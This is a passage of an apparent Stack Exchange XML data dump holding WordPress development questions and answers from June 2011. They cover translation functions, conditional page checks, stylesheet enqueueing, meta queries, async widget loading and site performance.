rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to reverse the order of the posts themselves, you'll either need to use a custom query, or modify the default Loop query, likely by changing the &lt;code&gt;$order&lt;/code&gt; from &lt;code&gt;DESC&lt;/code&gt; to &lt;code&gt;ASC&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;just&lt;/em&gt; want to reverse the order of the &lt;em&gt;posts themselves&lt;/em&gt;, then just change &lt;code&gt;$order&lt;/code&gt; from &lt;code&gt;DESC&lt;/code&gt; to &lt;code&gt;ASC&lt;/code&gt;, and don't do an &lt;code&gt;array_reverse()&lt;/code&gt; on the &lt;code&gt;wp_paginate_links()&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-28T16:38:03.047" LastActivityDate="2011-06-28T16:38:03.047" CommentCount="7" />
  <row Id="21211" PostTypeId="1" AcceptedAnswerId="21215" CreationDate="2011-06-27T18:38:14.530" Score="1" ViewCount="35" Body="&lt;p&gt;Is there a way to find the ids of the pages who contain meta tags/custom fields with a certain key-value pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, for instance, that I wanted to find all of the pages who had a meta-tag/custom-field key of &quot;weather&quot; with a value of &quot;raining&quot;, is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="5719" LastEditorUserId="5719" LastEditorDisplayName="" LastEditDate="2011-06-27T19:21:20.203" LastActivityDate="2011-06-27T19:21:20.203" Title="Find page IDs with specific meta tag key value pairs" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="21212" PostTypeId="1" AcceptedAnswerId="21214" CreationDate="2011-06-27T18:38:43.940" Score="0" ViewCount="28" Body="&lt;p&gt;I have seen this in lots of wordpress themes and using it for a while but don't know what is the significance of it. It seems it does the same work as echo something out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for it in codex but failed to find anything about it. May be i have looked in wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is what does &lt;code&gt;_e(&quot;Some String&quot;, 'String');&lt;/code&gt; means? And is it different from &lt;code&gt;echo &quot;Some String&quot;;&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-06-27T18:44:55.850" Title="What is the significance of _e(&quot;Some String&quot;, 'String')?" Tags="&lt;codex&gt;" AnswerCount="2" />
  <row Id="21213" PostTypeId="2" ParentId="21212" CreationDate="2011-06-27T18:43:02.607" Score="1" ViewCount="" Body="&lt;p&gt;It's a &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;translation string&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first argument is the string to be translated. The second argument is the textdomain that defines the translation.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T18:43:02.607" />
  <row Id="21214" PostTypeId="2" ParentId="21212" CreationDate="2011-06-27T18:44:55.850" Score="2" ViewCount="" Body="&lt;p&gt;it's for localisation/translation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpengineer.com/2237/whats-the-difference-between-__-_e-_x-and-_ex/&quot; rel=&quot;nofollow&quot;&gt;WPEngineer Has a great writeup on how it all works.... &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-27T18:44:55.850" CommentCount="2" />
  <row Id="21215" PostTypeId="2" ParentId="21211" CreationDate="2011-06-27T18:46:41.110" Score="2" ViewCount="" Body="&lt;p&gt;Why not? Same &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;custom field parameters&lt;/a&gt; in query should apply and you can use &lt;code&gt;post_type&lt;/code&gt; argument to limit query to pages alone.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-27T18:46:41.110" CommentCount="4" />
  <row Id="21217" PostTypeId="1" CreationDate="2011-06-27T19:10:52.790" Score="1" ViewCount="39" Body="&lt;p&gt;I have a normal textbox widget that I am using in certain sidebars. The text widget generates a div within a ul. Is there anyway to make the widget generate another ul li instead? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;h3&amp;gt;Heading&amp;lt;/h3&amp;gt;            &amp;lt;div class=&quot;textwidget&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2011-08-27T21:35:35.643" Title="wordpress widget textbox in the sidebar" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;validation&gt;&lt;widget-text&gt;" AnswerCount="2" />
  <row Id="21218" PostTypeId="1" AcceptedAnswerId="21219" CreationDate="2011-06-27T19:22:47.757" Score="1" ViewCount="54" Body="&lt;p&gt;I have one stylesheet linked to my Wordpress page in header section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/style.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I want to load different stylesheets on a few pages or sub-pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best/correct way of achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking about writing my own shortcode calling &quot;wp_enqueue_style&quot;, is that a good idea?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-06-27T19:29:12.710" Title="Loading different stylesheet on Wordpress pages?" Tags="&lt;css&gt;&lt;stylesheet&gt;&lt;wp-enqueue-style&gt;" AnswerCount="1" />
  <row Id="21219" PostTypeId="2" ParentId="21218" CreationDate="2011-06-27T19:29:12.710" Score="0" ViewCount="" Body="&lt;p&gt;Don't use a shortcode for &lt;code&gt;wp_enqueue_style()&lt;/code&gt;; it won't do any good, because by the time the shortcode is parsed, all the relevant hooks ( &lt;code&gt;wp_head&lt;/code&gt;, &lt;code&gt;wp_print_styles&lt;/code&gt;) will have already fired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write a function, in &lt;code&gt;functions.php&lt;/code&gt;, to enqueue different style sheets based on &lt;code&gt;is_page( $id )&lt;/code&gt; (where &lt;code&gt;$id&lt;/code&gt; can be an ID, slug, or title). Then hook that function into &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. note also: you should be using &lt;code&gt;get_stylesheet_uri()&lt;/code&gt; in your default stylesheet link, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php echo get_stylesheet_uri(); ?&amp;gt;/style.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T19:29:12.710" />
  <row Id="21220" PostTypeId="1" AcceptedAnswerId="24270" CreationDate="2011-06-27T19:39:57.617" Score="0" ViewCount="84" Body="&lt;p&gt;Using the &lt;a href=&quot;http://pagespeed.googlelabs.com&quot; rel=&quot;nofollow&quot;&gt;Google PageSpeed Online&lt;/a&gt;, it looks like the CSS/Images/JS files of most of my plugins (including wp-nivo-slider) do not get their expires-headers set. Is there a solution for this so that W3 Total Cache will set the expires headers on all the media on my page?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-27T21:52:15.333" Title="Plugin Expires Headers - W3 Total Cache" Tags="&lt;plugins&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="2" />
  <row Id="21221" PostTypeId="1" AcceptedAnswerId="21224" CreationDate="2011-06-27T19:41:45.333" Score="3" ViewCount="97" Body="&lt;p&gt;I was always a WP guy, built many small sites with it. I will create a new community with a big fanbase and I was wondering if 3.1.3 is fast enough? I didnt have the opportunity to work with it since 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does it react with heavy traffic web sites? Is it something that will make me worry enough to search for a lighter CMS or should I rely on it even with hundreds of visitors per day? I know about the tricks/tips to make it feels faster but is it by default ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your answers.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-28T01:05:32.063" LastActivityDate="2011-06-28T01:05:32.063" Title="Is Wordpress fast enough for a heavy traffic project?" Tags="&lt;pre-sale&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="21222" PostTypeId="2" ParentId="21220" CreationDate="2011-06-27T19:44:13.760" Score="0" ViewCount="" Body="&lt;p&gt;Check if &lt;code&gt;Performance&lt;/code&gt; &gt; &lt;code&gt;Browser Cache&lt;/code&gt; &gt; &lt;code&gt;General&lt;/code&gt; &gt; &lt;code&gt;Set expires header&lt;/code&gt; is checked.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-27T19:44:13.760" CommentCount="1" />
  <row Id="21223" PostTypeId="2" ParentId="21221" CreationDate="2011-06-27T19:45:23.217" Score="1" ViewCount="" Body="&lt;p&gt;Yes, WordPress is &quot;fast&quot; enough, out of the box, to handle hundreds of unique visitors per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress, properly configured, can handle &lt;em&gt;hundreds of thousands&lt;/em&gt; of unique visitors per day.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T19:45:23.217" CommentCount="4" />
  <row Id="21224" PostTypeId="2" ParentId="21221" CreationDate="2011-06-27T19:47:46.410" Score="6" ViewCount="" Body="&lt;p&gt;I don't think there is &lt;strong&gt;any&lt;/strong&gt; considerably advanced CMS that you can throw high traffic at and expect it to handle it without any configuration effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can WP be used for high-traffic site? Of course and it is being used as such by many sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it should be WP on decent hosting and well-configured software stack, rather than WP on cheap shared hosting with Apache defaults and no caching whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-27T19:47:46.410" CommentCount="1" />
  <row Id="21226" PostTypeId="1" CreationDate="2011-06-27T20:44:38.450" Score="1" ViewCount="27" Body="&lt;p&gt;I have some issues with duplicated pictures in my media library and I would like to know if there is any option to show or automatically filter only certain images in the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, let's say that I have 20 pictures in the library: A.jpg (original), B.jpg (original), C.jpg (original), A1.jpg (duplicate), A2.jpg (duplicate), B1.jpg (duplicate), C1.jpg (duplicate), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to see or to let see to other users only the first three pictures in the media library. Any idea how to do it with a plugin or modifying some files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6532" LastActivityDate="2011-06-27T20:44:38.450" Title="Filter pictures in the media library" Tags="&lt;media-library&gt;" />
  <row Id="21228" PostTypeId="2" ParentId="21217" CreationDate="2011-06-27T21:47:32.903" Score="0" ViewCount="" Body="&lt;p&gt;chec kyour sidebar.php and functions.php of the theme, the sidebar define the markup outside the widget; the function register_sidebar() defines the markup before content of the widgets; this markup you must change.&#xA;See the codex for this function: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar&quot; rel=&quot;nofollow&quot;&gt;codex register_sidebar()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-27T21:47:32.903" />
  <row Id="21229" PostTypeId="2" ParentId="21185" CreationDate="2011-06-27T21:49:54.010" Score="0" ViewCount="" Body="&lt;p&gt;Check the plugin &lt;a href=&quot;http://jigoshop.com/&quot; rel=&quot;nofollow&quot;&gt;http://jigoshop.com/&lt;/a&gt;, its free and has many possibilities.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/jigoshop/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/jigoshop/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-27T21:49:54.010" />
  <row Id="21230" PostTypeId="1" CreationDate="2011-06-27T21:52:12.873" Score="0" ViewCount="93" Body="&lt;p&gt;Following Yoast's direction per his post &lt;a href=&quot;http://yoast.com/social-buttons/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&#xA; I am trying to make my twitter's button load asynchronously in order to decrease page load times.&#xA;Unfortunately, the following code in my functions.php does not work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;twitterbutton&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;http://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-count=&quot;horizontal&quot; data-via=&quot;tricksdaddy&quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; jQuery(document).ready(function($) {&#xA;  // Load Tweet Button Script&#xA;  var e = document.createElement('script');&#xA;  e.type=&quot;text/javascript&quot;; e.async = true;&#xA;  e.src = 'http://platform.twitter.com/widgets.js';&#xA;  document.getElementsByTagName('head')[0].appendChild(e);&#xA;}&#xA;&amp;lt;/script&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any hints will be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="6536" LastActivityDate="2011-06-27T21:52:12.873" Title="How to load twitter button asynchronously" Tags="&lt;twitter&gt;&lt;scripts&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="21231" PostTypeId="1" CreationDate="2011-06-27T22:04:41.330" Score="-1" ViewCount="33" Body="&lt;p&gt;I'm building a site with a slideshow at the top of the page. I've got a unique situation in which the post that the image in the slideshow links to is not necessarily in the post itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Not all posts should go in the slide show. I need a way to designate a post for display in the slideshow. I was thinking of possibly assigning it a category. The problem with this is that we're already using categories for more traditional reasons. Using categories in this manner seems &quot;hacky&quot; to me, and I'd like to avoid it if possible&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We need a way to associate an image to the post. This image may not necessarily be in the post itself. I was hoping there was a way to upload an image to a custom field, but I haven't been able to find that yet. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="6376" LastActivityDate="2011-06-28T02:16:05.623" Title="Associate an image with a post to show it in a slideshow" Tags="&lt;custom-field&gt;&lt;slideshow&gt;" AnswerCount="2" />
  <row Id="21232" PostTypeId="1" CreationDate="2011-06-27T22:04:54.403" Score="0" ViewCount="62" Body="&lt;p&gt;I have the index.php in themes directory as my homepage. How can I confirm programmatically that the homepage was called in my functions.php? is_home() and is_front_page() is true for other pages and PHP_SELF always shows index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[More info]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is show some Google Web Optimizer Control scripts only on the home page (http://example.com/). The B in the A/B test is index-3 (http://example.com/index-3). But what happens is that if I hit our blog pages (http://example.com/blogs) is_home() and is_front_page() is triggering true causing the script to show in the head. I'm not sure what is causing the blogs page to trigger. I'm using the wp_print_scripts event to trigger my function in the functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings&gt;&gt;Reading is set to &quot;Your latest posts&quot; the home page name is index.php located in the themes directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final question is &quot;Is there a method to know that the function called is for the home page (http://example.com/) and not another?&quot;&lt;/p&gt;&#xA;" OwnerUserId="3880" LastEditorUserId="3880" LastEditorDisplayName="" LastEditDate="2011-06-28T16:37:14.573" LastActivityDate="2011-06-28T16:45:06.337" Title="How can I confirm I'm on the home page" Tags="&lt;homepage&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21233" PostTypeId="2" ParentId="21232" CreationDate="2011-06-27T22:23:51.217" Score="6" ViewCount="" Body="&lt;p&gt;If you are using the default home page, which in most cases is a list of most recent posts, is_home() should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have set a static page to be your front page (in Settings &gt;&gt; Reading), is_front_page() should work. If you are not getting the results you expect using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_front_page()) {&#xA;  //the code you want to execute&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;perhaps you can describe your situation in more detail.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-06-27T22:23:51.217" />
  <row Id="21234" PostTypeId="1" AcceptedAnswerId="21236" CreationDate="2011-06-27T23:31:50.070" Score="1" ViewCount="43" Body="&lt;p&gt;As the title states all I'm trying to do is get the descriptions for all tags inside the loop on my INDEX.php page to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can use code to call specific tag descriptions but I want to avoid that if possible since I'll have hundreds of tags all of which I want to show descriptions for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to modify the &lt;code&gt;get_tags&lt;/code&gt; tag in the loop to display descriptions following each tag?&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2011-06-28T01:50:51.713" Title="How to enable all Tag Descriptions in loop?" Tags="&lt;tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21235" PostTypeId="1" CreationDate="2011-06-28T00:18:50.030" Score="0" ViewCount="62" Body="&lt;p&gt;I'm trying to display content depending on if a user is in a category or a single post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function i'm using if this is a category is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_category('')) { ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly the function i'm using if this is a single post is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php } elseif (is_single($post)) { ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I join these 2 functions creating a single function call to say if this is any category OR any single post?&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2011-06-28T00:37:15.290" Title="Function to call either single post or category" Tags="&lt;php&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="21236" PostTypeId="2" ParentId="21234" CreationDate="2011-06-28T00:28:24.980" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Modified from the &lt;code&gt;get_tags()&lt;/code&gt; Codex Example&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = get_the_tags(); // for the specific post&#xA;// $tags = get_tags(); // all tags&#xA;$html = '&amp;lt;div class=&quot;post_tags&quot;&amp;gt;';&#xA;foreach ( $tags as $tag )&#xA;{&#xA;    $tag_link = get_tag_link( $tag-&amp;gt;term_id );&#xA;&#xA;    $html .= &quot;Describtion for &quot;.ucfirst( strtolower( $tag-&amp;gt;name ) ).&quot;: $tag-&amp;gt;description&quot;;&#xA;    $html .= &quot;&amp;lt;a href='{$tag_link}' title='{$tag-&amp;gt;name} Tag' class='{$tag-&amp;gt;slug}'&amp;gt;{$tag-&amp;gt;name}&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;&#xA;$html .= '&amp;lt;/div&amp;gt;';&#xA;echo $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-28T01:50:51.713" LastActivityDate="2011-06-28T01:50:51.713" CommentCount="2" />
  <row Id="21237" PostTypeId="1" AcceptedAnswerId="21252" CreationDate="2011-06-28T00:29:28.783" Score="1" ViewCount="60" Body="&lt;p&gt;I have done a lot of researching and haven't found quite what I am looking for, so I am hoping that I can be pointed in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing an Events plugin that will book a ticket from the frontend.  This is no different than any other Form submission, but what I am getting confused with is how to handle that from a plugin that is written via OOP with a class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most articles that I found say to put the $_POST handling within the template page.  Ideally I would like to have this handled by a function within the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing that I am not sure about is when you submit the form on the frontend, how that actually gets passed to the function on the backend.  I am hoping to completely abstract the form processing from any template details.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// events.php&#xA;if ( ! class_exists( 'Events' ) ) {&#xA;&#xA;    Class Events {&#xA;        function __construct() {&#xA;            add_action( 'plugins_loaded', array( &amp;amp;$this, 'includes' ), 1 );&#xA;        }&#xA;&#xA;        function includes() {&#xA;            require_once( EVENTS_INCLUDES . 'functions.php' );&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;if ( class_exists( 'Events' ) ) {&#xA;    $events_load = New Events();&#xA;}&#xA;&#xA;&#xA;// functions.php&#xA;function process_form() {&#xA;    ...do form processing here...&#xA;&#xA;    ...insert booking...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what to hook into that would catch that, or where to send the form action too.  Thanks for all the help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Adam&lt;/p&gt;&#xA;" OwnerUserId="5867" LastActivityDate="2011-06-28T02:29:34.797" Title="Plugin Form Submission Best Practice" Tags="&lt;plugin-development&gt;&lt;forms&gt;&lt;best-practices&gt;&lt;oop&gt;" AnswerCount="1" />
  <row Id="21238" PostTypeId="2" ParentId="21235" CreationDate="2011-06-28T00:37:15.290" Score="1" ViewCount="" Body="&lt;p&gt;If this is the same if/else, you can just combine into &lt;code&gt;if ( is_category() || is_single() )&lt;/code&gt;. You don't need to pass anything to is_category() or is_single() most of the time, unless you are looking for a category or post in particular.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-06-28T00:37:15.290" CommentCount="1" />
  <row Id="21239" PostTypeId="2" ParentId="21232" CreationDate="2011-06-28T00:37:16.080" Score="0" ViewCount="" Body="&lt;p&gt;Up-voted @supertrue, but wanted to add some clarification:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;is_front_page()&lt;/code&gt; returns true when on the &lt;strong&gt;site front page&lt;/strong&gt; (what is commonly referred to as the &quot;home&quot; page).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;is_front_page()&lt;/code&gt; returns true when on the site front page, whether the front page is set to display the &lt;strong&gt;Blog Posts Index&lt;/strong&gt; or a &lt;strong&gt;static Page&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;is_home()&lt;/code&gt; returns true when displaying the &lt;strong&gt;Blog Posts Index&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;is_home()&lt;/code&gt; returns true when displaying the Blog Posts Index, whether on the &lt;strong&gt;Front Page&lt;/strong&gt;, or on a &lt;strong&gt;static Page&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;A useful option for differentiating between &lt;strong&gt;static Page&lt;/strong&gt; and &lt;strong&gt;Blog Posts Index&lt;/strong&gt; when on the Front Page is &lt;code&gt;get_option( 'show_on_front' )&lt;/code&gt;, which returns either &lt;code&gt;page&lt;/code&gt; or &lt;code&gt;posts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Settings&gt;&gt;Reading is set to &quot;Your&#xA;  latest posts&quot; the home page name is&#xA;  index.php located in the themes&#xA;  directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, based on what I stated above:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When on the &lt;strong&gt;Front Page&lt;/strong&gt;, then &lt;code&gt;is_front_page()&lt;/code&gt; &lt;em&gt;always&lt;/em&gt; returns &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;When displaying your &lt;strong&gt;Blog Posts Index&lt;/strong&gt; (&quot;your latest posts&quot;), &lt;code&gt;is_home()&lt;/code&gt; &lt;em&gt;always&lt;/em&gt; returns &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your &lt;strong&gt;Front Page&lt;/strong&gt; is set to display your blog posts index, thus &lt;strong&gt;both &lt;code&gt;is_front_page()&lt;/code&gt; and &lt;code&gt;is_home()&lt;/code&gt;&lt;/strong&gt; will return true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So the final question is &quot;Is there a&#xA;  method to know that the function&#xA;  called is for the home page&#xA;  (http://example.com/) and not&#xA;  another?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes! That's what &lt;code&gt;is_front_page()&lt;/code&gt; is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to know you're on the &lt;em&gt;front page&lt;/em&gt;, and that the front page is &lt;em&gt;static&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_front_page() &amp;amp;&amp;amp; 'page' == get_option( 'show_on_front' ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to know you're on the &lt;em&gt;front page&lt;/em&gt;, and that the front page is your &lt;em&gt;blog posts&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_front_page() &amp;amp;&amp;amp; 'posts' == get_option( 'show_on_front' ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-28T16:45:06.337" LastActivityDate="2011-06-28T16:45:06.337" />
  <row Id="21240" PostTypeId="2" ParentId="21231" CreationDate="2011-06-28T00:39:55.913" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could create a custom meta box that has a checkbox for whether or not to show in the slideshow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;Post Thumbnails/Featured Images&lt;/a&gt; sound like what you're looking for. Note that images uploaded/attached to a post in WordPress do not necessarily have to appear in the content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-06-28T00:39:55.913" />
  <row Id="21241" PostTypeId="2" ParentId="20895" CreationDate="2011-06-28T00:51:21.187" Score="0" ViewCount="" Body="&lt;p&gt;I'm in the same boat, and i'm still figuring out what the best &quot;approach&quot; should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not necessary to cache any of the Wordpress core files (/wp-includes, /wp-admin, etc). You will have to cache a some files that live in your theme. Stuff like the css, js, and any image resources you use in the UI.   I created a &lt;a href=&quot;https://github.com/mattkosoy/wp-cache-manifest&quot; rel=&quot;nofollow&quot;&gt;little plugin&lt;/a&gt; that you can use to manage what files your cache manifest contains through the context of wp-admin.  Let me know if you find it to be helpful. &lt;/p&gt;&#xA;" OwnerUserId="6537" LastEditorUserId="6537" LastEditorDisplayName="" LastEditDate="2011-06-28T01:04:12.330" LastActivityDate="2011-06-28T01:04:12.330" CommentCount="1" />
  <row Id="21242" PostTypeId="1" CreationDate="2011-06-28T00:53:58.487" Score="1" ViewCount="58" Body="&lt;p&gt;I have a site some having job postings running using jobber base. Now I am going to shift it in WP using jobroller theme that is of 99 USD. I am a developer who always like MVC rather than these CMS. I was thinking of doing it in Yii. But now I came to know about job roller. So I have 2 questions? Is jobroller worth 99 USD and will it work for my product? Can WP handle this if I want to do changes every week. As I told earlier, I am also a developer. So I will be doing changes in it but I doubt that I will not be able to do this in such friendly way as it can be easily done in an MVC framework. I am always in favor of OOP and MVC. But I actually don't have much time to develop my own. So guys please advise me that should I spend some more time and do it in MVC once or I should once continue with WP? Can any one tell me about big sites that are developed in WP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be thankful if any one can give me good advise?&lt;/p&gt;&#xA;" OwnerUserId="5196" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-28T02:01:50.127" LastActivityDate="2011-06-28T02:01:50.127" Title="Is wordpress big enough for my project" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;&lt;jobboard&gt;&lt;pre-sale&gt;" AnswerCount="2" FavoriteCount="1" />
